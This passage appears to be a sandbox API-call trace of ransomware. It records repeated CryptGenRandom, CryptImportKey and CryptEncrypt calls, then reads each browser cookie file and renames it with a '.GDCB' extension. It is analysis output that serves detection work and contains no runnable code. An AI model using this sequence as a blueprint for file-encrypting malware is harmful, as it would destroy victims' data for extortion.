pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.411] CryptEncrypt (in: hKey=0x4f7fd18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.411] GetLastError () returned 0x0 [0187.411] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.411] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.413] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80058) returned 1 [0187.413] CryptGetKeyParam (in: hKey=0x4f80058, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.413] CryptEncrypt (in: hKey=0x4f80058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.413] GetLastError () returned 0x0 [0187.413] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.413] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16Y0X4V7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16y0x4v7.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.415] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.418] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x19e, lpOverlapped=0x0) returned 1 [0187.427] VirtualAlloc (lpAddress=0x0, dwSize=0x1a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.433] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16Y0X4V7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16y0x4v7.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\16Y0X4V7.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\16y0x4v7.txt.gdcb")) returned 1 [0187.441] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.444] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.444] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.444] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.445] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.446] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.446] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.446] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.446] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.449] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7ffd8) returned 1 [0187.449] CryptGetKeyParam (in: hKey=0x4f7ffd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.449] CryptEncrypt (in: hKey=0x4f7ffd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.450] GetLastError () returned 0x0 [0187.450] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.450] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.453] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fd98) returned 1 [0187.453] CryptGetKeyParam (in: hKey=0x4f7fd98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.453] CryptEncrypt (in: hKey=0x4f7fd98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.453] GetLastError () returned 0x0 [0187.453] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.453] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1L3KU69N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1l3ku69n.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.456] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.457] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.458] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6f, lpOverlapped=0x0) returned 1 [0187.468] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.472] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1L3KU69N.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1l3ku69n.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1L3KU69N.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1l3ku69n.txt.gdcb")) returned 1 [0187.479] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.480] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.482] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.482] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.482] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0187.484] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.485] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.485] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.485] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.487] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fd58) returned 1 [0187.487] CryptGetKeyParam (in: hKey=0x4f7fd58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.487] CryptEncrypt (in: hKey=0x4f7fd58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.487] GetLastError () returned 0x0 [0187.487] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.487] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.489] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fdd8) returned 1 [0187.489] CryptGetKeyParam (in: hKey=0x4f7fdd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.489] CryptEncrypt (in: hKey=0x4f7fdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.489] GetLastError () returned 0x0 [0187.489] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.490] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LFQZEOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lfqzeoh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.492] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.493] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.494] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6f, lpOverlapped=0x0) returned 1 [0187.503] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.508] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LFQZEOH.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lfqzeoh.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LFQZEOH.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lfqzeoh.txt.gdcb")) returned 1 [0187.517] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.520] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.520] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0187.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.522] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.522] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.522] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0187.524] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80118) returned 1 [0187.525] CryptGetKeyParam (in: hKey=0x4f80118, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.525] CryptEncrypt (in: hKey=0x4f80118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.525] GetLastError () returned 0x0 [0187.525] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.525] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.527] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fe18) returned 1 [0187.527] CryptGetKeyParam (in: hKey=0x4f7fe18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.527] CryptEncrypt (in: hKey=0x4f7fe18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.527] GetLastError () returned 0x0 [0187.527] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.527] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LLUY7B7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lluy7b7.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.530] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.531] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.532] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x77, lpOverlapped=0x0) returned 1 [0187.541] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.546] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LLUY7B7.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lluy7b7.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1LLUY7B7.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1lluy7b7.txt.gdcb")) returned 1 [0187.552] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.555] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.555] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.555] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.557] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.557] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.557] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.560] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80158) returned 1 [0187.560] CryptGetKeyParam (in: hKey=0x4f80158, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.560] CryptEncrypt (in: hKey=0x4f80158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.560] GetLastError () returned 0x0 [0187.560] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.560] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.562] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7ff18) returned 1 [0187.562] CryptGetKeyParam (in: hKey=0x4f7ff18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.562] CryptEncrypt (in: hKey=0x4f7ff18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.563] GetLastError () returned 0x0 [0187.563] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1UYN2RFY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1uyn2rfy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.565] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.566] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.568] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x112, lpOverlapped=0x0) returned 1 [0187.602] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.608] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1UYN2RFY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1uyn2rfy.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1UYN2RFY.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1uyn2rfy.txt.gdcb")) returned 1 [0187.614] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0187.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.617] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.617] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.619] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.619] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.619] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.621] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c948) returned 1 [0187.621] CryptGetKeyParam (in: hKey=0x4f2c948, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.621] CryptEncrypt (in: hKey=0x4f2c948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.622] GetLastError () returned 0x0 [0187.622] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.622] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.624] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 